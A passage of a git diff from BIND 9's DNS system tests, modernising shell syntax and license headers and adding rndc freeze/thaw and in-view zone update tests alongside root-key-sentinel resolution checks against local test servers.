 	    if [ $actual_size != $expected_size ]; then ret=1; fi
 	else
 	    ret=1
 	fi
 
 	if [ $ret != 0 ]; then echo_i "failed"; fi
-        status=$((status+ret))
+	status=$((status+ret))
 done
 
 n=$((n+1))
@@ -663,7 +683,7 @@ n=$((n+1))
 echo_i "check rndc nta reports adding to multiple views ($n)"
 ret=0
 $RNDCCMD 10.53.0.3 nta test.com > rndc.out.test$n 2>&1 || ret=1
-lines=`cat rndc.out.test$n | wc -l`
+lines=$(cat rndc.out.test$n | wc -l)
 [ ${lines:-0} -eq 2 ] || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
@@ -674,10 +694,122 @@ ret=0
 $RNDCCMD 10.53.0.2 retransfer nil > rndc.out.test$n 2>&1 && ret=1
 grep "rndc: 'retransfer' failed: failure" rndc.out.test$n > /dev/null || ret=1
 grep "retransfer: inappropriate zone type: primary" rndc.out.test$n > /dev/null || ret=1
-lines=`cat rndc.out.test$n | wc -l`
+lines=$(cat rndc.out.test$n | wc -l)
 [ ${lines:-0} -eq 2 ] || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
+n=$((n+1))
+echo_i "check 'rndc freeze' with in-view zones works ($n)"
+ret=0
+$RNDC -s 10.53.0.4 -p ${EXTRAPORT6} -c ns4/key6.conf freeze > rndc.out.test$n 2>&1 || ret=1
+test -s rndc.out.test$n && sed 's/^/ns2 /' rndc.out.test$n | cat_i
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "checking non in-view zone instance is not writable ($n)"
+ret=0
+$NSUPDATE -p ${PORT} > /dev/null 2>&1 <<END && ret=1
+server 10.53.0.4
+zone example.
+update add text2.example. 600 IN TXT "addition 3"
+send
+END
+$DIGCMD @10.53.0.4 -p ${PORT} text2.example. TXT > dig.out.1.test$n || ret=1
+grep 'addition 3' dig.out.1.test$n >/dev/null && ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "check 'rndc thaw' with in-view zones works ($n)"
+ret=0
+$RNDC -s 10.53.0.4 -p ${EXTRAPORT6} -c ns4/key6.conf thaw > rndc.out.test$n 2>&1 || ret=1
+test -s rndc.out.test$n && sed 's/^/ns2 /' rndc.out.test$n | cat_i
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "checking non in-view zone instance is now writable ($n)"
+ret=0
+$NSUPDATE -p ${PORT} > nsupdate.out.test$n 2>&1 <<END || ret=1
+server 10.53.0.4
+zone example.
+update add text2.example. 600 IN TXT "addition 3"
+send
+END
+$DIGCMD @10.53.0.4 -p ${PORT} text2.example. TXT > dig.out.1.test$n || ret=1
+grep 'addition 3' dig.out.1.test$n >/dev/null || ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "checking initial in-view zone file is loaded ($n)"
+ret=0
+TSIG="$DEFAULT_HMAC:int:FrSt77yPTFx6hTs4i2tKLB9LmE0="
+$DIGCMD @10.53.0.7 -y "$TSIG" text1.test. TXT > dig.out.1.test$n || ret=1
+grep 'include 1' dig.out.1.test$n >/dev/null || ret=1
+TSIG="$DEFAULT_HMAC:ext:FrSt77yPTFx6hTs4i2tKLB9LmE0="
+$DIGCMD @10.53.0.7 -y "$TSIG" text1.test. TXT > dig.out.2.test$n || ret=1
+grep 'include 1' dig.out.2.test$n >/dev/null || ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+echo_i "update in-view zone ($n)"
+ret=0
+TSIG="$DEFAULT_HMAC:int:FrSt77yPTFx6hTs4i2tKLB9LmE0="
+$NSUPDATE -p ${PORT} -y "$TSIG" > /dev/null 2>&1 <<END || ret=1
+server 10.53.0.7
+zone test.
+update add text2.test. 600 IN TXT "addition 1"
+send
+END
+[ -s ns7/test.db.jnl ] || {
+	echo_i "'test -s ns7/test.db.jnl' failed when it shouldn't have"; ret=1;
+}
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+echo_i "checking update ($n)"
+ret=0
+TSIG="$DEFAULT_HMAC:int:FrSt77yPTFx6hTs4i2tKLB9LmE0="
+$DIGCMD @10.53.0.7 -y "$TSIG" text2.test. TXT > dig.out.1.test$n || ret=1
+grep 'addition 1' dig.out.1.test$n >/dev/null || ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+nextpart ns7/named.run > /dev/null
+
+echo_i "rndc freeze"
+$RNDCCMD 10.53.0.7 freeze | sed 's/^/ns7 /' | cat_i | cat_i
+
+wait_for_log 3 "dump_done: zone test/IN/internal: enter" ns7/named.run
+
+echo_i "edit zone files"
+cp ns7/test.db.in ns7/test.db
+cp ns7/include2.db.in ns7/include.db
+
+echo_i "rndc thaw"
+$RNDCCMD 10.53.0.7 thaw | sed 's/^/ns7 /' | cat_i
+
+wait_for_log 3 "zone_postload: zone test/IN/internal: done" ns7/named.run
+
+echo_i "rndc reload"
+$RNDCCMD 10.53.0.7 reload | sed 's/^/ns7 /' | cat_i
+
+wait_for_log 3 "all zones loaded" ns7/named.run
+
+n=$((n+1))
+echo_i "checking zone file edits are loaded ($n)"
+ret=0
+TSIG="$DEFAULT_HMAC:int:FrSt77yPTFx6hTs4i2tKLB9LmE0="
+$DIGCMD @10.53.0.7 -y "$TSIG" text1.test. TXT > dig.out.1.test$n || ret=1
+grep 'include 2' dig.out.1.test$n >/dev/null || ret=1
+TSIG="$DEFAULT_HMAC:ext:FrSt77yPTFx6hTs4i2tKLB9LmE0="
+$DIGCMD @10.53.0.7 -y "$TSIG" text1.test. TXT > dig.out.2.test$n || ret=1
+grep 'include 2' dig.out.2.test$n >/dev/null || ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
 echo_i "exit status: $status"
 [ $status -eq 0 ] || exit 1
diff --git a/bin/tests/system/rndc/tests_sh_rndc.py b/bin/tests/system/rndc/tests_sh_rndc.py
new file mode 100644
index 0000000000..ac6a4dc930
--- /dev/null
+++ b/bin/tests/system/rndc/tests_sh_rndc.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_rndc(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/rootkeysentinel/clean.sh b/bin/tests/system/rootkeysentinel/clean.sh
index 4d8ca29b6e..e9cd3cc2d6 100644
--- a/bin/tests/system/rootkeysentinel/clean.sh
+++ b/bin/tests/system/rootkeysentinel/clean.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/rootkeysentinel/ns1/named.conf.in b/bin/tests/system/rootkeysentinel/ns1/named.conf.in
index b17c4ca6a5..930f3bc991 100644
--- a/bin/tests/system/rootkeysentinel/ns1/named.conf.in
+++ b/bin/tests/system/rootkeysentinel/ns1/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/rootkeysentinel/ns1/root.db.in b/bin/tests/system/rootkeysentinel/ns1/root.db.in
index 065bc6e998..cc970415e0 100644
--- a/bin/tests/system/rootkeysentinel/ns1/root.db.in
+++ b/bin/tests/system/rootkeysentinel/ns1/root.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/rootkeysentinel/ns1/sign.sh b/bin/tests/system/rootkeysentinel/ns1/sign.sh
index 0b5c3f15ee..0f20053e60 100644
--- a/bin/tests/system/rootkeysentinel/ns1/sign.sh
+++ b/bin/tests/system/rootkeysentinel/ns1/sign.sh
@@ -1,9 +1,11 @@
 #!/bin/sh -e
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -15,12 +17,12 @@ zone=.
 infile=root.db.in
 zonefile=root.db
 
-keyname=`$KEYGEN -q -a RSASHA256 -b 1024 -n zone $zone`
-keyid=`expr ${keyname} : 'K.+008+\(.*\)'`
+keyname=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -n zone $zone)
+keyid=$(expr ${keyname} : 'K.+[0-9][0-9][0-9]+\(.*\)')
 
 (cd ../ns2 && $SHELL sign.sh ${keyid:-00000} )
 
-cp ../ns2/dsset-example$TP .
+cp ../ns2/dsset-example. .
 
 cat $infile $keyname.key > $zonefile
 
diff --git a/bin/tests/system/rootkeysentinel/ns2/example.db.in b/bin/tests/system/rootkeysentinel/ns2/example.db.in
index 77425b196c..92ca3bf8de 100644
--- a/bin/tests/system/rootkeysentinel/ns2/example.db.in
+++ b/bin/tests/system/rootkeysentinel/ns2/example.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/rootkeysentinel/ns2/named.conf.in b/bin/tests/system/rootkeysentinel/ns2/named.conf.in
index f0b44e938c..25e4e508c7 100644
--- a/bin/tests/system/rootkeysentinel/ns2/named.conf.in
+++ b/bin/tests/system/rootkeysentinel/ns2/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/rootkeysentinel/ns2/sign.sh b/bin/tests/system/rootkeysentinel/ns2/sign.sh
index 21de335626..3e48f8a16d 100644
--- a/bin/tests/system/rootkeysentinel/ns2/sign.sh
+++ b/bin/tests/system/rootkeysentinel/ns2/sign.sh
@@ -1,19 +1,20 @@
 #!/bin/sh -e
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
-oldid=${1:-00000}
-newid=`expr \( ${oldid} + 1000 \) % 65536`
-newid=`expr "0000${newid}" : '.*\(.....\)$'`
-badid=`expr \( ${oldid} + 7777 \) % 65536`
-badid=`expr "0000${badid}" : '.*\(.....\)$'`
+oldid=$(echo ${1:-0} | sed 's/^0*//')
+newid=$(printf '%05u' $(((oldid + 1000) % 65536)))
+badid=$(printf '%05u' $(((oldid + 7777) % 65536)))
+oldid=$(printf '%05u' $((oldid + 0)))
 
 . ../../conf.sh
 
@@ -21,8 +22,8 @@ zone=example.
 infile=example.db.in
 zonefile=example.db
 
-keyname1=`$KEYGEN -q -a $DEFAULT_ALGORITHM -b $DEFAULT_BITS -n zone $zone`
-keyname2=`$KEYGEN -q -a $DEFAULT_ALGORITHM -b $DEFAULT_BITS -n zone $zone`
+keyname1=$($KEYGEN -q -a $DEFAULT_ALGORITHM -b $DEFAULT_BITS -n zone $zone)
+keyname2=$($KEYGEN -q -a $DEFAULT_ALGORITHM -b $DEFAULT_BITS -n zone $zone)
 
 cat $infile $keyname1.key $keyname2.key >$zonefile
 echo root-key-sentinel-is-ta-$oldid A 10.53.0.1 >> $zonefile
diff --git a/bin/tests/system/rootkeysentinel/ns3/hint.db b/bin/tests/system/rootkeysentinel/ns3/hint.db
index 4a7363741b..0018b52235 100644
--- a/bin/tests/system/rootkeysentinel/ns3/hint.db
+++ b/bin/tests/system/rootkeysentinel/ns3/hint.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/rootkeysentinel/ns3/named.conf.in b/bin/tests/system/rootkeysentinel/ns3/named.conf.in
index 68cb81500f..c9682c9b88 100644
--- a/bin/tests/system/rootkeysentinel/ns3/named.conf.in
+++ b/bin/tests/system/rootkeysentinel/ns3/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/rootkeysentinel/ns4/hint.db b/bin/tests/system/rootkeysentinel/ns4/hint.db
index 4a7363741b..0018b52235 100644
--- a/bin/tests/system/rootkeysentinel/ns4/hint.db
+++ b/bin/tests/system/rootkeysentinel/ns4/hint.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/rootkeysentinel/ns4/named.conf.in b/bin/tests/system/rootkeysentinel/ns4/named.conf.in
index 5c18751e73..6f60ffd233 100644
--- a/bin/tests/system/rootkeysentinel/ns4/named.conf.in
+++ b/bin/tests/system/rootkeysentinel/ns4/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/rootkeysentinel/setup.sh b/bin/tests/system/rootkeysentinel/setup.sh
index 9c5eae0120..39e1edf412 100644
--- a/bin/tests/system/rootkeysentinel/setup.sh
+++ b/bin/tests/system/rootkeysentinel/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh -e
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/rootkeysentinel/tests.sh b/bin/tests/system/rootkeysentinel/tests.sh
index cfb7945354..bfe653c4f0 100644
--- a/bin/tests/system/rootkeysentinel/tests.sh
+++ b/bin/tests/system/rootkeysentinel/tests.sh
@@ -1,14 +1,18 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
+set -e
+
 . ../conf.sh
 
 status=0
@@ -19,7 +23,7 @@ rm -f dig.out.*
 DIGOPTS="+tcp +noadd +nosea +nostat +nocmd +dnssec -p ${PORT}"
 
 newtest() {
-	n=`expr $n + 1`
+	n=$((n + 1))
 	case $# in
 	1)
 		echo_i "$1 ($n)"
@@ -34,260 +38,258 @@ newtest() {
 
 newtest "get test ids"
 $DIG $DIGOPTS . dnskey +short +rrcomm @10.53.0.1 > dig.out.ns1.test$n || ret=1
-oldid=`sed -n 's/.*key id = //p' < dig.out.ns1.test$n`
-oldid=`expr "0000${oldid}" : '.*\(.....\)$'`
-newid=`expr \( ${oldid} + 1000 \) % 65536`
-newid=`expr "0000${newid}" : '.*\(.....\)$'`
-badid=`expr \( ${oldid} + 7777 \) % 65536`
-badid=`expr "0000${badid}" : '.*\(.....\)$'`
+oldid=$(sed -n 's/.*key id = //p' < dig.out.ns1.test$n)
+newid=$(printf "%05u" $(((oldid + 1000) % 65536)))
+badid=$(printf "%05u" $(((oldid + 7777) % 65536)))
+oldid=$(printf "%05u" $((oldid + 0)))
 echo_i "test id: oldid=${oldid} (configured)"
 echo_i "test id: newid=${newid} (not configured)"
 echo_i "test id: badid=${badid}"
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 newtest "check authoritative server (expect NOERROR)"
 $DIG $DIGOPTS @10.53.0.2 example SOA > dig.out.ns2.test$n
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 newtest "check test zone resolves with 'root-key-sentinel yes;'" " (expect NOERROR)"
 $DIG $DIGOPTS @10.53.0.3 example SOA > dig.out.ns3.test$n
 grep "status: NOERROR" dig.out.ns3.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 newtest "check root-key-sentinel-is-ta with old ta and" " 'root-key-sentinel yes;' (expect NOERROR)"
 $DIG $DIGOPTS @10.53.0.3 root-key-sentinel-is-ta-${oldid}.example A > dig.out.ns3.test$n || ret=1
 grep "status: NOERROR" dig.out.ns3.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 newtest "check root-key-sentinel-not-ta with old ta and" " 'root-key-sentinel yes;' (expect SERVFAIL)"
 $DIG $DIGOPTS @10.53.0.3 root-key-sentinel-not-ta-${oldid}.example A > dig.out.ns3.test$n || ret=1
 grep "status: SERVFAIL" dig.out.ns3.test$n > /dev/null || ret=1
 grep "ANSWER: 0," dig.out.ns3.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 newtest "check root-key-sentinel-not-ta with old ta, CD=1 and" " 'root-key-sentinel yes;' (expect NOERROR)"
 $DIG $DIGOPTS @10.53.0.3 +cd root-key-sentinel-not-ta-${oldid}.example A > dig.out.ns3.test$n || ret=1
 grep "status: NOERROR" dig.out.ns3.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 newtest "check root-key-sentinel-is-ta with new ta and" " 'root-key-sentinel yes;' (expect SERVFAIL)"
 $DIG $DIGOPTS @10.53.0.3 root-key-sentinel-is-ta-${newid}.example A > dig.out.ns3.test$n || ret=1
 grep "status: SERVFAIL" dig.out.ns3.test$n > /dev/null || ret=1
 grep "ANSWER: 0," dig.out.ns3.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 newtest "check root-key-sentinel-is-ta with new ta, CD=1 and" " 'root-key-sentinel yes;' (expect NOERROR)"
 $DIG $DIGOPTS @10.53.0.3 +cd root-key-sentinel-is-ta-${newid}.example A > dig.out.ns3.test$n || ret=1
 grep "status: NOERROR" dig.out.ns3.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 newtest "check root-key-sentinel-not-ta with new ta and" " 'root-key-sentinel yes;' (expect NOERROR)"
 $DIG $DIGOPTS @10.53.0.3 root-key-sentinel-not-ta-${newid}.example A > dig.out.ns3.test$n || ret=1
 grep "status: NOERROR" dig.out.ns3.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 newtest "check root-key-sentinel-is-ta with bad ta and" " 'root-key-sentinel yes;' (expect SERVFAIL)"
 $DIG $DIGOPTS @10.53.0.3 root-key-sentinel-is-ta-${badid}.example A > dig.out.ns3.test$n || ret=1
 grep "status: SERVFAIL" dig.out.ns3.test$n > /dev/null || ret=1
 grep "ANSWER: 0," dig.out.ns3.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 newtest "check root-key-sentinel-is-ta with bad ta, CD=1 and" " 'root-key-sentinel yes;' (expect NXDOMAIN)"
 $DIG $DIGOPTS @10.53.0.3 +cd root-key-sentinel-is-ta-${badid}.example A > dig.out.ns3.test$n || ret=1
 grep "status: NXDOMAIN" dig.out.ns3.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 newtest "check root-key-sentinel-not-ta with bad ta and" " 'root-key-sentinel yes;' (expect NXDOMAIN)"
 $DIG $DIGOPTS @10.53.0.3 root-key-sentinel-not-ta-${badid}.example A > dig.out.ns3.test$n || ret=1
 grep "status: NXDOMAIN" dig.out.ns3.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 newtest "check root-key-sentinel-is-ta with out-of-range ta and" " 'root-key-sentinel yes;' (expect NXDOMAIN)"
 $DIG $DIGOPTS @10.53.0.3 root-key-sentinel-is-ta-72345.example A > dig.out.ns3.test$n || ret=1
 grep "status: NXDOMAIN" dig.out.ns3.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 newtest "check root-key-sentinel-not-ta with out-of-range ta and" " 'root-key-sentinel yes;' (expect NXDOMAIN)"
 $DIG $DIGOPTS @10.53.0.3 root-key-sentinel-not-ta-72345.example A > dig.out.ns3.test$n || ret=1
 grep "status: NXDOMAIN" dig.out.ns3.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 newtest "check root-key-sentinel-is-ta with no-zero-pad ta and" " 'root-key-sentinel yes;' (expect NXDOMAIN)"
 $DIG $DIGOPTS @10.53.0.3 root-key-sentinel-is-ta-1234.example A > dig.out.ns3.test$n || ret=1
 grep "status: NXDOMAIN" dig.out.ns3.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 newtest "check root-key-sentinel-not-ta with no-zero-pad ta and" " 'root-key-sentinel yes;' (expect NXDOMAIN)"
 $DIG $DIGOPTS @10.53.0.3 root-key-sentinel-not-ta-1234.example A > dig.out.ns3.test$n || ret=1
 grep "status: NXDOMAIN" dig.out.ns3.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 newtest "check CNAME to root-key-sentinel-is-ta with old ta and" " 'root-key-sentinel yes;' (expect NOERROR)"
 $DIG $DIGOPTS @10.53.0.3 old-is-ta.example A > dig.out.ns3.test$n || ret=1
 grep "status: NOERROR" dig.out.ns3.test$n > /dev/null || ret=1
 grep "old-is-ta.*CNAME.root-key-sentinel-is-ta-${oldid}.example." dig.out.ns3.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 newtest "check CNAME to root-key-sentinel-not-ta with old ta and" " 'root-key-sentinel yes;' (expect NOERROR)"
 $DIG $DIGOPTS @10.53.0.3 old-not-ta.example A > dig.out.ns3.test$n || ret=1
 grep "status: NOERROR" dig.out.ns3.test$n > /dev/null || ret=1
 grep "old-not-ta.*CNAME.root-key-sentinel-not-ta-${oldid}.example." dig.out.ns3.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 newtest "check CNAME to root-key-sentinel-is-ta with new ta and" " 'root-key-sentinel yes;' (expect NOERROR)"
 $DIG $DIGOPTS @10.53.0.3 new-is-ta.example A > dig.out.ns3.test$n || ret=1
 grep "status: NOERROR" dig.out.ns3.test$n > /dev/null || ret=1
 grep "new-is-ta.*CNAME.root-key-sentinel-is-ta-${newid}.example." dig.out.ns3.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 newtest "check CNAME to root-key-sentinel-not-ta with new ta and" " 'root-key-sentinel yes;' (expect NOERROR)"
 $DIG $DIGOPTS @10.53.0.3 new-not-ta.example A > dig.out.ns3.test$n || ret=1
 grep "status: NOERROR" dig.out.ns3.test$n > /dev/null || ret=1
 grep "new-not-ta.*CNAME.root-key-sentinel-not-ta-${newid}.example." dig.out.ns3.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 newtest "check CNAME to root-key-sentinel-is-ta with bad ta and" " 'root-key-sentinel yes;' (expect NXDOMAIN)"
 $DIG $DIGOPTS @10.53.0.3 bad-is-ta.example A > dig.out.ns3.test$n || ret=1
 grep "status: NXDOMAIN" dig.out.ns3.test$n > /dev/null || ret=1
 grep "bad-is-ta.*CNAME.root-key-sentinel-is-ta-${badid}.example" dig.out.ns3.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 newtest "check CNAME to root-key-sentinel-not-ta with bad ta and" " 'root-key-sentinel yes;' (expect NXDOMAIN)"
 $DIG $DIGOPTS @10.53.0.3 bad-not-ta.example A > dig.out.ns3.test$n || ret=1
 grep "status: NXDOMAIN" dig.out.ns3.test$n > /dev/null || ret=1
 grep "bad-not-ta.*CNAME.root-key-sentinel-not-ta-${badid}.example." dig.out.ns3.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 newtest "check test zone resolves with 'root-key-sentinel no;'" " (expect NOERROR)"
 $DIG $DIGOPTS @10.53.0.4 example SOA > dig.out.ns4.test$n
 grep "status: NOERROR" dig.out.ns4.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
